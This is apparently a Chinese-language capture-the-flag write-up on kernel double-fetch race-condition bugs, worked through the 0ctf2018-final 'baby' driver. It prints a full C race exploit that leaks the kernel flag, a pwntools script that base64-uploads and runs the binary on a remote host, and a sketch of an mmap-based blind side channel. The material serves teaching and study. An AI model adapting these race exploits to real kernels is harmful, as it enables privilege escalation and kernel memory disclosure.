Double fetch
Double fetch漏洞是一种条件竞争漏洞,由于多线程的原因,使得内核里多次访问到用户的数据不一致而引发的漏洞。我们用户态传数据给内核,如果是简单的数据,则按传值传递,如果数据量很大很复杂,我们则传指针给内核。内核里首先会对数据的合理性进行校验,校验成功后,待会内核又重新在某处来访问我们的数据,而如果有另外一个线程在这之前篡改了数据,就使得数据不一致,从而可能形成漏洞。
我们以0ctf2018-final-baby这题为例
首先,我们用IDA分析一下ko驱动文件
经过分析,驱动里的ioctl函数定义了两个交互命令,0x6666命令,用于获取驱动里的flag的地址,0x1337用于传递给驱动数据,如果检验成功,则输出flag。
检验点有三个
- 传递的数据指针范围必须在用户态内存内
- 传递的长度必须等于真正的flag的长度
- 传递的flag的内容必须与内核里的flag内容一样
传给内核的数据结构如下
- typedef struct {
- char *flag_addr;
- size_t len;
- } Data;
显然,我们直接把flag_addr传为内核给我们的那个flag地址,不能通过if里面的验证。我们可以以多线程来思考这个问题。我们开一个线程,里面不断的修改flag_addr为内核态的flag地址。然后再来一个线程,不断向内核传输能够通过验证的数据。两个线程会有碰撞,如果第二个线程在某时刻,数据通过了内核的验证,但内核还没有执行for循环,此时,另一个线程,修改了用户态的flag_addr,将它指向了内核态的flag。接下来,第二个线程开始执行for循环了,通过验证,最后输出flag。
我们的exploit.c程序,如果没有得到flag,可以多试几次,注意使用静态编译。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define LINE_LEN 0x100
//碰撞次数
#define TRYTIME 0x3000
//传给驱动的数据结构
typedef struct {
char *flag_addr;
size_t len;
} Data;
//我们用户态的一段缓冲区
char user_buf[0x34] = {0};
int finished = 0;
long flag_addr = -1; //内核返回给我们的flag_addr地址
//这个线程,用于修改通过验证的data里面的flag_addr
void changeFlagAddr(void *s) {
Data *data = (Data *)s;
while (!finished) {
data->flag_addr = (char *)flag_addr;
}
}
int main() {
//线程句柄
pthread_t t1;
//打开驱动的文件描述符
int fd = open("/dev/baby",O_RDWR);
//请求驱动返回给我们flag的地址
ioctl(fd,0x6666);
//关闭标准输入输出缓冲
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
//读取flag的地址
FILE *info = popen("dmesg","r");
fseek(info,-LINE_LEN,SEEK_END);
char line[1024];
while (fgets(line, sizeof(line),info) != NULL) {
char *index;
if ((index = strstr(line,"Your flag is at "))) {
index += strlen("Your flag is at ");
flag_addr = strtoull(index,index+16,16);
}
}
pclose(info);
if (flag_addr == -1) {
printf("error:get flag addr!\n");
exit(-1);
}
printf("flag_addr=0x%lx\n",flag_addr);
//准备好我们的数据,全为用户态数据,待会发给驱动,通过验证
Data data;
data.flag_addr = user_buf;
data.len = 33;
//开启一个线程,不断尝试把flag_addr指向内核态的flag_addr
pthread_create(&t1, NULL,changeFlagAddr,&data);
//正常线程,不断尝试发送合法的数据给驱动
for (int i=0;i<TRYTIME;i++) {
ioctl(fd,0x1337,&data);
data.flag_addr = user_buf;
}
finished = 1;
//等待线程结束
pthread_join(t1, NULL);
//关闭文件描述符
close(fd);
puts("the result is:");
system("dmesg | grep flag");
return 0;
}
如果在远程,我们则先在本地编译好二进制文件,然后借助于base64编码来传送二进制文件到远程执行。
transfer.py
#coding:utf8
from pwn import *
import base64
sh = remote('xxx',10100)
#我们编写好的exploit
f = open('./exploit','rb')
content = f.read()
total = len(content)
f.close()
#每次发送这么长的base64,分段解码
per_length = 0x200;
#创建文件
sh.sendlineafter('$','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('$','chmod +x /tmp/exploit')
sh.sendlineafter('$','/tmp/exploit')
sh.interactive()
本题还可以使用盲注,因为flag被硬编码在ko驱动文件里,我们可以在用户态mmap两块内存,其中第一块内存可读写,第二块内存设置不可读写,然后,我们将需要对比的那个字符放在第1块内存的末尾,由于第二块内存不可读写,驱动在执行for循环对比字符时,如果我们猜测的前一个字符是正确的,将会继续访问下一个字符,而下一个字符的位置在第二块不可读写的内存,此时内核就会报错。由此,我们可以来判断是否猜测正确。